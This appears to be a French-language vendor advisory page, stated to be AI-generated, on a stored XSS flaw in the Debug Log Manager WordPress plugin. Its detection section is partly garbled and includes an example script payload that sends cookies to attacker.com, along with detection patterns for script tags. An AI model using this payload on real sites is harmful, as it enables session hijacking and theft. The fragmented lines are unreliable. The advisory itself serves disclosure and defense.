
PEACH
Un cadre d’isolation des locataires
CVE-2026-120114 is a stored cross-site scripting (XSS) vulnerability in the "Conveniently Monitor and Inspect Errors" (Debug Log Manager) WordPress plugin by qriouslad, affecting all versions up to and including 2.5.2. The flaw arises from insufficient input sanitization and output escaping of the message and pageUrl parameters, enabling unauthenticated attackers to inject arbitrary web scripts. Exploitation requires that the site administrator has debug logging with JavaScript error logging enabled, and that the attacker can obtain the publicly broadcast dlmVars.jsErrorLogging nonce. The vulnerability is estimated as Medium severity (VulDB, Radar Offseq).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin fails to properly sanitize the message and pageUrl parameters before storing them, and does not escape the stored values upon output. An unauthenticated attacker can exploit this by submitting a crafted JavaScript error payload that gets logged by the plugin; the nonce (dlmVars.jsErrorLogging) required to submit error logs is publicly broadcast in the page source, lowering the barrier to exploitation. The injected script executes in the browser of any user (including administrators) who subsequently views the affected debug log page (VulDB, Radar Offseq).
Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of any user who views the injected debug log page, including site administrators. This can lead to session hijacking, credential theft, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and potential full site compromise. The stored nature of the XSS means the payload persists until the log is cleared, increasing the window of exposure (VulDB).
No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of disclosure. The vulnerability requires specific preconditions — JavaScript error logging must be enabled by the site admin — which limits the attack surface. However, the nonce used to authenticate error log submissions is publicly exposed in page source, making the authentication barrier trivially bypassed once the preconditions are met. No EPSS score or CISA KEV catalog listing has been identified for this CVE (Radar Offseq, VulDB).
dlmVars.jsErrorLogging nonce value.<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected via the message or pageUrl parameter of the error logging endpoint.message (and/or pageUrl) parameter.message/pageUrl parameter values containing HTML or script tags.<script>, javascript:, or encoded XSS strings.Users should update the Debug Log Manager plugin (qriouslad) to a version beyond 2.5.2 that addresses this vulnerability, once a patched release is available from the plugin author or the WordPress plugin repository. As an immediate workaround, site administrators should disable JavaScript error logging in the plugin's settings to eliminate the attack surface. Restricting access to the WordPress admin panel via IP allowlisting and monitoring debug log entries for unexpected script content are additional defensive measures (VulDB, Radar Offseq).
Source: Ce rapport a été généré à l’aide de l’IA
Évaluation gratuite des vulnérabilités
Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.
Obtenez une démo personnalisée
"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."